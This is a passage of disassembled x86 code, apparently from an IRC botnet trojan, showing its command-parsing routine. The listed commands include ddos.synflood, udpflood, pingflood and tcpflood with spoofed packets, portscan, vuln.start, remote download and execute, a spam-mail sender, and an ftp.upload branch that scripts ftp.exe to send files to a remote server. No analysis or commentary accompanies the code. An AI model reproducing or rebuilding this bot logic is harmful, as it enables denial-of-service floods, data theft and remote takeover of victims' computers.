loc_40EFA2:				; CODE XREF: seg000:0040ECE2j
		push	dword ptr [ebp+10h]
		push	offset aEnz_gethost ; "enz.gethost"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4111AB
		push	dword ptr [ebp+10h]
		push	offset aEnz_gh	; "enz.gh"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4111AB
		mov	eax, [ebp+esi-8Ch]
		cmp	eax, ebx
		mov	[ebp+20h], eax
		jz	loc_40D1FD
		push	dword ptr [ebp+10h]
		push	offset aEnz_addalias ; "enz.addalias"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41116C
		push	dword ptr [ebp+10h]
		push	offset aEnz_aa	; "enz.aa"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41116C
		push	dword ptr [ebp+10h]
		push	offset aEnz_privmsg ; "enz.privmsg"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411119
		push	dword ptr [ebp+10h]
		push	offset aEnz_pm	; "enz.pm"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411119
		push	dword ptr [ebp+10h]
		push	offset aEnz_action ; "enz.action"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4110AB
		push	dword ptr [ebp+10h]
		push	offset aEnz_ac	; "enz.ac"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4110AB
		push	dword ptr [ebp+10h]
		push	offset aEnz_cycle ; "enz.cycle"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411048
		push	dword ptr [ebp+10h]
		push	offset aEnz_cy	; "enz.cy"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411048
		push	dword ptr [ebp+10h]
		push	offset aEnz_mode ; "enz.mode"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411009
		push	dword ptr [ebp+10h]
		push	offset aEnz_m	; "enz.m"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411009
		push	dword ptr [ebp+10h]
		push	offset aClone_raw ; "clone.raw"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F9E
		push	dword ptr [ebp+10h]
		push	offset aClone_ra ; "clone.ra"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F9E
		push	dword ptr [ebp+10h]
		push	offset aClone_mode ; "clone.mode"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F1C
		push	dword ptr [ebp+10h]
		push	offset aClone_m	; "clone.m"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F1C
		push	dword ptr [ebp+10h]
		push	offset aClone_nick ; "clone.nick"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EAB
		push	dword ptr [ebp+10h]
		push	offset aClone_ni ; "clone.ni"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EAB
		push	dword ptr [ebp+10h]
		push	offset aClone_join ; "clone.join"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E85
		push	dword ptr [ebp+10h]
		push	offset aClone_j	; "clone.j"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E85
		push	dword ptr [ebp+10h]
		push	offset aClone_part ; "clone.part"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E22
		push	dword ptr [ebp+10h]
		push	offset aClone_p	; "clone.p"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E22
		push	dword ptr [ebp+10h]
		push	offset aEnz_repeat ; "enz.repeat"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D5C
		push	dword ptr [ebp+10h]
		push	offset aEnz_rp	; "enz.rp"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D5C
		push	dword ptr [ebp+10h]
		push	offset aEnz_delay ; "enz.delay"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410CC1
		push	dword ptr [ebp+10h]
		push	offset aEnz_de	; "enz.de"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410CC1
		push	dword ptr [ebp+10h]
		push	offset aDownload_up010 ; "download.up010"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B43
		push	dword ptr [ebp+10h]
		push	offset aDownload_010 ; "download.010"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B43
		push	dword ptr [ebp+10h]
		push	offset aBox_execute ; "box.execute"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410AA2
		push	dword ptr [ebp+10h]
		push	offset aBox_e	; "box.e"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410AA2
		push	dword ptr [ebp+10h]
		push	offset aBox_findfile ; "box.findfile"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4109A4
		push	dword ptr [ebp+10h]
		push	offset aBox_ff	; "box.ff"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4109A4
		push	dword ptr [ebp+10h]
		push	offset aBox_rename ; "box.rename"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410953
		push	dword ptr [ebp+10h]
		push	offset aBox_mv	; "box.mv"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410953
		push	dword ptr [ebp+10h]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410858
		push	dword ptr [ebp+10h]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410858
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		mov	[ebp+8], eax
		jz	loc_40D1FD
		push	dword ptr [ebp+10h]
		push	offset aClone_make ; "clone.make"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41076D
		push	dword ptr [ebp+10h]
		push	offset aClone_start ; "clone.start"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41076D
		push	dword ptr [ebp+10h]
		push	offset aDs_sy1	; "ds.sy1"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410668
		push	dword ptr [ebp+10h]
		push	offset aDs_ack	; "ds.ack"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410668
		push	dword ptr [ebp+10h]
		push	offset aDs_rm	; "ds.rm"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410668
		push	dword ptr [ebp+10h]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41056A
		push	dword ptr [ebp+10h]
		push	offset aSy1	; "sy1"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41056A
		push	dword ptr [ebp+10h]
		push	offset aDonad_frwww ; "donad.frwww"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41042C
		push	dword ptr [ebp+10h]
		push	offset aD1	; "d1"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41042C
		push	dword ptr [ebp+10h]
		push	offset aServer_redir_0 ; "server.redirect.on"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410332
		push	dword ptr [ebp+10h]
		push	offset aServer_rd_on ; "server.rd.on"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410332
		push	dword ptr [ebp+10h]
		push	offset aEnz_portscan ; "enz.portscan"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41023F
		push	dword ptr [ebp+10h]
		push	offset aEnz_ps	; "enz.ps"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41023F
		push	dword ptr [ebp+10h]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41016A
		push	dword ptr [ebp+10h]
		push	offset aClone_pm ; "clone.pm"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41016A
		push	dword ptr [ebp+10h]
		push	offset aClone_action ; "clone.action"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410055
		push	dword ptr [ebp+10h]
		push	offset aClone_ac ; "clone.ac"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410055
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		mov	[ebp+18h], eax
		jz	loc_40D1FD
		push	dword ptr [ebp+10h]
		push	offset aVuln_start ; "vuln.start"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FCFE
		push	dword ptr [ebp+10h]
		push	offset aVvv	; "vvv"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FCFE
		push	dword ptr [ebp+10h]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FBDE
		push	dword ptr [ebp+10h]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FBDE
		push	dword ptr [ebp+10h]
		push	offset aPu	; "pu"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FBDE
		push	dword ptr [ebp+10h]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAAB
		push	dword ptr [ebp+10h]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAAB
		push	dword ptr [ebp+10h]
		push	offset aPg	; "pg"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FAAB
		push	dword ptr [ebp+10h]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F918
		push	dword ptr [ebp+10h]
		push	offset aUsa	; "usa"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F918
		push	dword ptr [ebp+10h]
		push	offset aUtil_email ; "util.email"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F721
		lea	eax, [ebp-3E4h]
		push	edi
		push	eax
		call	sub_415BE0
		push	dword ptr [ebp+20h]
		call	sub_415A3F
		push	dword ptr [ebp+8]
		mov	[ebp+20h], eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		call	sub_415BE0
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-0B94h]
		push	eax
		call	sub_415BE0
		push	offset asc_4269C8 ; " "
		push	offset a_	; "_"
		push	dword ptr [ebp+esi-80h]
		call	sub_40998E
		push	eax
		lea	eax, [ebp-548h]
		push	eax
		call	sub_415BE0
		add	esp, 30h
		lea	eax, [ebp-6F4h]
		push	eax
		push	101h
		call	ds:dword_43A2F0	; WSAStartup
		lea	eax, [ebp-3E4h]
		push	eax
		call	ds:dword_43A3FC	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	ds:dword_43A3F8	; socket
		push	dword ptr [ebp+20h]
		mov	esi, eax
		mov	word ptr [ebp-2D8h], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-2D4h], eax
		call	ds:dword_43A378	; ntohs
		mov	[ebp-2D6h], ax
		lea	eax, [ebp-548h]
		push	eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		lea	eax, [ebp-548h]
		push	eax
		lea	eax, [ebp-0B94h]
		push	eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		lea	eax, [ebp-159Ch]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_4154CD
		add	esp, 1Ch
		lea	eax, [ebp-2D8h]
		push	10h
		push	eax
		push	esi
		call	ds:dword_43A320	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp-0C98h]
		push	edi
		push	eax
		push	esi
		call	ds:dword_43A390	; recv
		lea	eax, [ebp-0C98h]
		push	ebx
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp-159Ch]
		push	eax
		push	esi
		call	ds:dword_43A3C8	; send
		push	ebx
		lea	eax, [ebp-0C98h]
		push	edi
		push	eax
		push	esi
		call	ds:dword_43A390	; recv
		push	esi
		call	ds:dword_43A410	; closesocket
		call	ds:dword_43A2D8	; WSACleanup
		lea	eax, [ebp-0B94h]
		push	eax
		push	offset unk_4351C8


loc_40F6E8:				; CODE XREF: seg000:00410853j
					; seg000:00410CB2j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		add	esp, 0Ch


loc_40F6F7:				; CODE XREF: seg000:00410837j
					; seg000:00410AE2j ...
		cmp	[ebp-8], ebx
		jnz	loc_4124BC
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 14h
		jmp	loc_4124BC
; ---------------------------------------------------------------------------


loc_40F721:				; CODE XREF: seg000:0040F592j
		push	dword ptr [ebp+10h]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F8EA
		push	dword ptr [ebp+10h]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F8EA
		mov	esi, [ebp+esi-80h]
		cmp	esi, ebx
		jz	loc_40D1FD
		push	dword ptr [ebp+10h]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412974
		push	4
		push	esi
		call	sub_40C1E2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F7BF
		push	esi
		push	offset dword_43516C


loc_40F786:				; CODE XREF: seg000:0040FA9Cj
					; seg000:00410050j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4154CD
		add	esp, 0Ch


loc_40F795:				; CODE XREF: seg000:0040FA80j
					; seg000:00410034j ...
		cmp	[ebp-8], ebx
		jnz	loc_412834
		push	ebx
		push	dword ptr [ebp-4]


loc_40F7A2:				; CODE XREF: seg000:00410663j
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]


loc_40F7B2:				; CODE XREF: seg000:00411F0Cj
		call	sub_412D32
		add	esp, 14h
		jmp	loc_412834
; ---------------------------------------------------------------------------


loc_40F7BF:				; CODE XREF: seg000:0040F77Ej
		call	ds:dword_42104C	; GetTickCount
		push	eax
		call	sub_41551F
		pop	ecx
		call	sub_415529
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_415529
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_415529
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp-0C9Ch]
		push	edx
		push	eax
		lea	eax, [ebp-0B98h]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_4154CD
		lea	eax, [ebp-0B98h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_415BC8
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+2Ch], eax
		jz	loc_40D1FD
		push	esi
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_415B76
		push	dword ptr [ebp+2Ch]
		call	sub_415B20
		lea	eax, [ebp-0B98h]
		push	eax
		lea	eax, [ebp-3E4h]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_4154CD
		add	esp, 2Ch
		lea	eax, [ebp-3E4h]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	ds:dword_43A2EC	; ShellExecuteA
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_40F889
		push	offset dword_4350F0
		jmp	short loc_40F88E
; ---------------------------------------------------------------------------


loc_40F889:				; CODE XREF: seg000:0040F880j
		push	offset dword_4350B0


loc_40F88E:				; CODE XREF: seg000:0040F887j
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_40F8B7
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32
		add	esp, 14h


loc_40F8B7:				; CODE XREF: seg000:0040F899j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_40B151


loc_40F8C3:				; CODE XREF: seg000:0040F8E8j
		lea	eax, [ebp-0B98h]
		push	4
		push	eax
		call	sub_40C1E2
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D1FD
		lea	eax, [ebp-0B98h]
		push	eax
		call	sub_4178DC
		jmp	short loc_40F8C3
; ---------------------------------------------------------------------------


loc_40F8EA:				; CODE XREF: seg000:0040F732j
					; seg000:0040F749j
		push	dword ptr [ebp+esi-80h]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		call	sub_415A3F
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_406B01
		jmp	loc_412971
; ---------------------------------------------------------------------------


loc_40F918:				; CODE XREF: seg000:0040F564j
					; seg000:0040F57Bj
		mov	esi, 80h
		push	edi
		lea	eax, [ebp-680h]
		push	esi
		push	eax
		call	sub_415A4A
		lea	eax, [ebp-680h]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_4158F0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40F97B
		lea	eax, [ebp-680h]
		push	eax
		push	offset aAck	; "ack"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F97B
		lea	eax, [ebp-680h]
		push	eax
		push	offset aRandom	; "random"
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F97B
		push	offset dword_435074
		jmp	loc_412012
; ---------------------------------------------------------------------------


loc_40F97B:				; CODE XREF: seg000:0040F941j
					; seg000:0040F958j ...
		push	dword ptr [ebp+18h]
		call	sub_415A3F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-578h], eax
		jle	loc_40FAA1
		push	edi
		lea	eax, [ebp-680h]
		push	esi
		push	eax
		call	sub_415A4A
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-700h]
		push	esi
		push	eax
		call	sub_415A4A
		push	dword ptr [ebp+8]
		call	sub_415A3F
		mov	[ebp-57Ch], eax
		xor	eax, eax
		cmp	[ebp-9A2h], bl
		push	dword ptr [ebp-8Ch]
		setnz	al
		mov	[ebp-574h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-704h], eax
		lea	eax, [ebp-600h]
		push	esi
		push	eax
		call	sub_415A4A
		mov	eax, [ebp-4]
		add	esp, 28h
		cmp	[ebp-574h], ebx
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_40FA12
		mov	eax, offset aNormal ; "Normal"


loc_40FA12:				; CODE XREF: seg000:0040FA0Bj
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		push	edi
		push	eax
		push	offset dword_43501C
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_415A4A
		push	ebx
		lea	eax, [ebp-2C8h]
		push	0Ch
		push	eax
		call	sub_414F79
		add	esp, 2Ch
		mov	[ebp-580h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-704h]
		push	ebx
		push	eax
		push	offset sub_401BD6
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-580h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_40FA90


loc_40FA7A:				; CODE XREF: seg000:0040FA8Ej
		cmp	[ebp-568h], ebx
		jnz	loc_40F795
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_40FA7A
; ---------------------------------------------------------------------------


loc_40FA90:				; CODE XREF: seg000:0040FA78j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_434FD0
		jmp	loc_40F786
; ---------------------------------------------------------------------------


loc_40FAA1:				; CODE XREF: seg000:0040F98Cj
		push	offset dword_434F84
		jmp	loc_412012
; ---------------------------------------------------------------------------


loc_40FAAB:				; CODE XREF: seg000:0040F51Fj
					; seg000:0040F536j ...
		cmp	ds:dword_43A468, ebx
		mov	esi, [ebp+0Ch]
		jnz	loc_40FBB3
		mov	eax, [ebp-8]
		push	7Fh
		mov	[ebp-2ECh], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		lea	eax, [ebp-384h]
		push	edi
		push	eax
		call	sub_416D20
		push	dword ptr [ebp+20h]
		call	sub_415A3F
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_415A3F
		push	dword ptr [ebp+18h]
		mov	[ebp-300h], eax
		call	sub_415A3F
		push	7Fh
		mov	[ebp-2FCh], eax
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-404h]
		push	eax
		call	sub_416D20
		push	dword ptr [ebp-2FCh]
		lea	eax, [ebp-384h]
		mov	[ebp-408h], esi
		push	dword ptr [ebp-300h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-304h]
		push	offset unk_434F28
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	0Eh
		push	eax
		call	sub_414F79
		add	esp, 48h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-408h]
		push	ebx
		push	eax
		push	offset loc_40A1FB
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_40FBA2


loc_40FB90:				; CODE XREF: seg000:0040FBA0j
		cmp	[ebp-2E8h], ebx
		jnz	short loc_40FBCC
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_40FB90
; ---------------------------------------------------------------------------


loc_40FBA2:				; CODE XREF: seg000:0040FB8Ej
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_434EDC
		jmp	loc_41075C
; ---------------------------------------------------------------------------


loc_40FBB3:				; CODE XREF: seg000:0040FAB4j
		push	1FFh
		lea	eax, [ebp-2C8h]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_416D20


loc_40FBC9:				; CODE XREF: seg000:00410768j
		add	esp, 0Ch


loc_40FBCC:				; CODE XREF: seg000:0040FB96j
					; seg000:0040FCDDj ...
		cmp	[ebp-8], ebx
		jnz	loc_412834
		push	ebx
		push	dword ptr [ebp-4]
		jmp	loc_411EFE
; ---------------------------------------------------------------------------


loc_40FBDE:				; CODE XREF: seg000:0040F4DAj
					; seg000:0040F4F1j ...
		mov	eax, [ebp-8]
		push	7Fh
		mov	[ebp-2ECh], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		lea	eax, [ebp-384h]
		push	edi
		push	eax
		call	sub_416D20
		push	dword ptr [ebp+20h]
		call	sub_415A3F
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_415A3F
		push	dword ptr [ebp+18h]
		mov	[ebp-300h], eax
		call	sub_415A3F
		mov	esi, [ebp+esi-80h]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp-2FCh], eax
		jz	short loc_40FC43
		push	esi
		call	sub_415A3F
		pop	ecx
		mov	[ebp-2F8h], eax
		jmp	short loc_40FC49
; ---------------------------------------------------------------------------


loc_40FC43:				; CODE XREF: seg000:0040FC32j
		mov	[ebp-2F8h], ebx


loc_40FC49:				; CODE XREF: seg000:0040FC41j
		push	7Fh
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_416D20
		push	dword ptr [ebp-2FCh]
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-384h]
		mov	[ebp-408h], esi
		push	dword ptr [ebp-300h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-304h]
		push	offset dword_434E68
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	0Fh
		push	eax
		call	sub_414F79
		add	esp, 30h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-408h]
		push	ebx
		push	eax
		push	offset sub_40A387
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_40FCED


loc_40FCD7:				; CODE XREF: seg000:0040FCEBj
		cmp	[ebp-2E8h], ebx
		jnz	loc_40FBCC
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_40FCD7
; ---------------------------------------------------------------------------


loc_40FCED:				; CODE XREF: seg000:0040FCD5j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_434E1C
		jmp	loc_41075C
; ---------------------------------------------------------------------------


loc_40FCFE:				; CODE XREF: seg000:0040F4ACj
					; seg000:0040F4C3j
		push	8
		call	sub_4151C1
		push	dword ptr [ebp+20h]
		mov	[ebp+10h], eax
		call	sub_415A3F
		add	eax, [ebp+10h]
		pop	ecx
		pop	ecx
		cmp	eax, 12Ch
		jle	short loc_40FD51
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-2C8h]
		push	offset dword_434DC8
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_412D32


loc_40FD49:				; CODE XREF: seg000:00411167j
		add	esp, 20h
		jmp	loc_412974
; ---------------------------------------------------------------------------


loc_40FD51:				; CODE XREF: seg000:0040FD1Aj
		push	edi
		call	sub_415A3F
		push	dword ptr [ebp+20h]
		mov	[ebp-31Ch], eax
		call	sub_415A3F
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_415A3F
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp-318h], eax
		jnb	short loc_40FD8A
		push	1
		pop	eax
		mov	[ebp-318h], eax


loc_40FD8A:				; CODE XREF: seg000:0040FD7Fj
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40FD97
		mov	[ebp-318h], ecx


loc_40FD97:				; CODE XREF: seg000:0040FD8Fj
		push	dword ptr [ebp+18h]
		call	sub_415A3F
		cmp	eax, 1F4h
		pop	ecx
		mov	[ebp-314h], eax
		jbe	short loc_40FDB7
		mov	dword ptr [ebp-314h], 1F4h


loc_40FDB7:				; CODE XREF: seg000:0040FDABj
		or	dword ptr [ebp-300h], 0FFFFFFFFh
		cmp	ds:dword_427300, ebx
		mov	[ebp+8], ebx
		jz	short loc_40FE0D
		mov	dword ptr [ebp+2Ch], offset dword_427300


loc_40FDD0:				; CODE XREF: seg000:0040FDEFj
		mov	eax, [ebp+2Ch]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FDF3
		add	dword ptr [ebp+2Ch], 3Ch
		inc	dword ptr [ebp+8]
		mov	eax, [ebp+2Ch]
		cmp	[eax], ebx
		jnz	short loc_40FDD0
		jmp	short loc_40FE0D
; ---------------------------------------------------------------------------


loc_40FDF3:				; CODE XREF: seg000:0040FDE1j
		mov	eax, [ebp+8]
		mov	ecx, eax
		mov	[ebp-300h], eax
		imul	ecx, 3Ch
		mov	ecx, ds:dword_427300[ecx]
		mov	[ebp-31Ch], ecx


loc_40FE0D:				; CODE XREF: seg000:0040FDC7j
					; seg000:0040FDF1j
		cmp	[ebp-31Ch], ebx
		jz	loc_411C2F
		mov	edi, [ebp+esi-80h]
		cmp	edi, ebx
		mov	[ebp+20h], edi
		jz	short loc_40FE54
